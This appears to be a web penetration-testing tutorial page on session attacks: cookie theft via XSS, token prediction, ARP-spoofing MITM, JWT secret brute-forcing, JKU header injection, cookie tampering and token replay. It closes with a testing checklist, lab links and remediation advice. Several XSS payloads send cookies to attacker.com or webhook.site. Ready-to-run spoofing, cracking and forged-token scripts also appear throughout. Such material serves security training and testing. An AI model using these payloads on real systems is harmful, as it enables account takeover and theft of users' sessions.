Session Attacks
Master session hijacking, cookie theft, and token manipulation techniques to maintain and expand access after initial exploitation.
Authorization Required
Frameworks: WSTG-SESS-01, -02, -04, -09 · ASVS 5.0 V7.2.1, V7.4.1 · CWE-384, CWE-613 · T1539, T1185
Session Attack Fundamentals
Tools & Resources
Session Hijacking Techniques
Cookie Theft via XSS
If cookies lack the HttpOnly flag, JavaScript can access and exfiltrate them.
// Basic cookie exfiltration
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
// Alternative using fetch
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie));
</script>
// Using external service for testing
<script>
document.location='https://webhook.site/YOUR-ID?c='+document.cookie;
</script>
// More stealthy exfiltration (DNS)
<script>
var c = btoa(document.cookie);
var img = new Image();
img.src = 'https://'+c+'.attacker.com/x.gif';
</script>Session Token Prediction
Analyze session token patterns to predict valid tokens.
# Collect multiple session tokens
for i in {1..100}; do
curl -s -c - 'https://target.com/login' | grep -i session
sleep 0.1
done > session_tokens.txt
# Analyze token entropy with Burp Sequencer
# Import tokens and run statistical analysis# Python script to analyze token patterns
import base64
import hashlib
import time
tokens = open('session_tokens.txt').readlines()
# Check for timestamp-based tokens
for token in tokens:
# Decode base64 if needed
try:
decoded = base64.b64decode(token)
print(f"Decoded: {decoded}")
except Exception:
pass
# Check for sequential patterns
# Look for embedded timestamps
# Burp Intruder - brute force sequential tokens
# If tokens are sequential: SESS001, SESS002, etc.
# Use Numbers payload: 1-10000Network-Based Session Theft
# Capture session cookies with tcpdump (unencrypted traffic)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i 'cookie\|session'
# Using mitmproxy for HTTPS interception
mitmproxy --mode transparent --showhost
# Capture with Wireshark filter
http.cookie contains "session" or http.set_cookie contains "session"
# ARP spoofing to position for MITM (with authorization!)
# Using arpspoof
sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
sudo arpspoof -i eth0 -t <gateway_ip> <victim_ip>
# Using Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> net.sniff onSession Fixation Attacks
Session fixation is a pre-authentication technique — the identifier is planted before the victim logs in — and the Session Fixation guide's Attack Flow section, linked under Related Topics, covers the three preconditions, the URL and cookie-injection vectors, and the Set-Cookie comparison that proves it. Past initial access the question inverts: does the identifier you already captured still resolve to an authenticated session, and was it rotated when the password changed?
JWT Token Attacks
Dedicated JWT Guide Available
JWTs are commonly used as session tokens. Key session-specific attacks include:
- Token Theft: XSS to steal JWTs from localStorage/cookies → replay for session hijacking
- Claim Tampering: Modify
role,sub, oradminclaims if signature isn't validated - Long-Lived Tokens: JWTs without expiration (
exp) or with excessive TTL enable persistent access - No Revocation: JWTs can't be server-side invalidated without a blocklist — stolen tokens remain valid until expiry
# Quick JWT session testing with jwt_tool
jwt_tool <token> -X a # Test algorithm 'none'
jwt_tool <token> -I -pc role -pv admin # Inject admin claim
jwt_tool <token> -C -d wordlist.txt # Brute-force secret
# Check JWT storage location (XSS impact)
# localStorage: document.cookie won't work, but XSS can read it
# HttpOnly cookie: XSS can't directly steal it
# See /web-pentest/06t-jwt-attacks/ for full exploitation techniquesJWT Secret Brute Force
# Brute force weak JWT secrets
# Using jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat (mode 16500 for JWT)
# Extract hash format from JWT
echo '<full_jwt_token>' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Python brute force script
import jwt
import sys
token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')
for secret in wordlist:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f'[+] Secret found: {secret}')
break
except jwt.InvalidSignatureError:
continue
# Common weak secrets to try:
# secret, password, 123456, qwerty, admin, keyJKU/X5U Header Injection
# JKU (JWK Set URL) header injection
# Attacker hosts malicious JWKS endpoint
# Step 1: Generate key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# Step 2: Create JWKS file (host on attacker server)
python3 << 'EOF'
import json
from jwcrypto import jwk
with open('attacker_public.pem', 'rb') as f:
key = jwk.JWK.from_pem(f.read())
jwks = {"keys": [json.loads(key.export())]}
print(json.dumps(jwks, indent=2))
EOF
# Step 3: Create token with malicious jku header
python3 << 'EOF'
import jwt
import json
header = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json" # Attacker-controlled
}
payload = {"sub": "admin", "role": "administrator"}
with open('attacker_private.pem', 'rb') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
EOF
# Using jwt_tool
jwt_tool <token> -X s -ju https://attacker.com/jwks.json
# X5U (X.509 certificate URL) header injection
# Same trust abuse applies when the app fetches the certificate named in
# the token's x5u header: point it at a certificate you control and sign
# the token with the matching private key.Cookie Manipulation Techniques
Cookie attributes are an audit question rather than an attack: the header analyzer on
Security Headers → Automation Scripts
checks Secure, HttpOnly and SameSite on every
Set-Cookie, and
Session Fixation → Testing Procedure
compares the identifier before and after login. Everything below assumes you already hold a cookie
and asks whether its value can be forged or its scope widened.
# Decode and modify cookie values
# Base64 encoded cookies
echo 'YWRtaW49ZmFsc2U=' | base64 -d
# admin=false
echo 'admin=true' | base64
# YWRtaW49dHJ1ZQo=
# Serialized PHP session cookies
# Identify: a:2:{s:4:"user";s:5:"guest";s:5:"admin";b:0;}
# Modify: a:2:{s:4:"user";s:5:"admin";s:5:"admin";b:1;}
# JSON cookies
# Original: {"user":"guest","role":"user"}
# Modified: {"user":"admin","role":"admin"}
# Test modified cookies
curl -b 'session=YWRtaW49dHJ1ZQ==' 'https://target.com/admin'
# Cookie signing bypass attempts
# If signed: value.signature
# Try removing signature
# Try truncating signature
# Try signature confusion attacksCookie Scope Attacks
# Cookie scope manipulation
# If cookie is set for .example.com
# Accessible from any subdomain
# Subdomain takeover for cookie theft
# 1. Find dangling DNS records
subfinder -d example.com | httpx -sc -title | grep -v 200
# 2. Claim abandoned subdomain
# 3. Host malicious page to steal cookies
# Cookie tossing attack
# Inject cookie from subdomain to override parent domain cookie
# On attacker.example.com:
<script>
document.cookie = "session=attacker_token; domain=.example.com; path=/";
</script>
# Parent domain path confusion
# Cookie set for /admin/ won't be sent to /Admin/
# Test case sensitivity in cookie pathsSession Replay Attacks
# Capture and replay authenticated requests
# Using Burp Suite
# 1. Intercept authenticated request
# 2. Send to Repeater
# 3. Replay after session should expire
# Test session timeout
# 1. Login and note session token
# 2. Wait for timeout period
# 3. Attempt to use session token
curl -b 'PHPSESSID=old_token' 'https://target.com/dashboard'
# Test concurrent sessions
# 1. Login on device A
# 2. Login on device B
# 3. Check if device A session is invalidated
# Test logout functionality
# 1. Login and save session token
# 2. Logout
# 3. Try using old session token
session_token="abc123"
curl -b "session=$session_token" 'https://target.com/logout' -v
curl -b "session=$session_token" 'https://target.com/dashboard'
# Test session invalidation after password change
# 1. Login on multiple devices
# 2. Change password
# 3. Check if other sessions are invalidatedAPI Token Attacks
# Find exposed API tokens
# Check JavaScript files
curl -s 'https://target.com/app.js' | grep -Ei 'api[_-]?key|token|secret|bearer'
# Check HTML source
curl -s 'https://target.com/' | grep -Ei 'data-token|api-key|authorization'
# Check mobile app traffic
# Use mitmproxy or Burp to intercept API calls
mitmproxy --mode regular
# Configure mobile device proxy to attacker
# Token in URL (logged in web servers, referer headers)
# https://api.target.com/data?api_key=secret123
# Check for token leakage in Referer header
# Bearer token manipulation
# Original: Authorization: Bearer user_token
# Test: Authorization: Bearer admin_token
# Test token scope
# Try accessing endpoints beyond token's intended scope
for endpoint in /admin /users /config /debug; do
curl -H "Authorization: Bearer $token" "https://api.target.com$endpoint"
done
# Check for token reuse across environments
# Dev token on prod, staging token on prod, etc.OAuth/OIDC Session Attacks
OAuth and OIDC flaws are a pre-authentication path into an account: authorization-code replay,
redirect_uri bypass, PKCE omissions and state handling are worked through in
OAuth/OIDC Attacks → OAuth Flow.
Here the question is narrower and post-exploitation: whether the access or refresh token you captured
still validates, whether it can be replayed against the resource server, and whether rotation or
revocation catches the reuse.
Session Attack Testing Checklist
Cookie Security
- ☐ HttpOnly flag present on session cookies
- ☐ Secure flag present (HTTPS only)
- ☐ SameSite attribute properly configured
- ☐ Cookie scope properly restricted
- ☐ Sensitive data not stored in cookies
Session Management
- ☐ Session ID regenerated after login
- ☐ Session invalidated on logout
- ☐ Appropriate session timeout configured
- ☐ Concurrent session controls in place
- ☐ Session tokens have sufficient entropy
JWT Security
- ☐ Algorithm 'none' rejected
- ☐ Algorithm confusion prevented
- ☐ Strong signing secret used
- ☐ JKU/X5U headers validated
- ☐ Token expiration enforced
OAuth/API Tokens
- ☐ PKCE enforced for OAuth flows
- ☐ State parameter validated
- ☐ Redirect URI strictly validated
- ☐ API tokens properly scoped
- ☐ Token rotation implemented
Practice Labs
PortSwigger JWT Labs
Practice JWT attacks including algorithm confusion and weak secrets
Authentication Labs
Session management vulnerabilities and authentication bypass
OWASP Juice Shop
Session-related challenges including JWT and cookie tampering
jwt_tool Practice
Comprehensive JWT testing toolkit with vulnerable examples
Remediation & Defense
Session Security Best Practices
Cookie Security
- • Set
HttpOnly,Secure, andSameSite=Stricton all session cookies - • Use cryptographically random session tokens (128+ bits entropy)
- • Regenerate session IDs after authentication state changes
- • Implement absolute and idle session timeouts
JWT Hardening
- • Enforce algorithm validation (reject "none", enforce expected alg)
- • Use asymmetric keys (RS256/ES256) over shared secrets
- • Validate
iss,aud,exp, andnbfclaims - • Implement token revocation (blocklist or short expiry + refresh tokens)
Session Management
- • Bind sessions to client fingerprints (IP range, User-Agent)
- • Implement concurrent session limits
- • Provide "sign out everywhere" functionality
- • Invalidate sessions server-side on logout, not just client-side
Monitoring
- • Alert on session use from new geolocations or devices
- • Detect and block session fixation attempts
- • Monitor for tokens appearing in URLs or referrer headers
- • Rate-limit failed session validation attempts
CWE References: CWE-384 (Session Fixation), CWE-614 (Sensitive Cookie Without Secure Flag), CWE-539 (Persistent Cookies Containing Sensitive Information)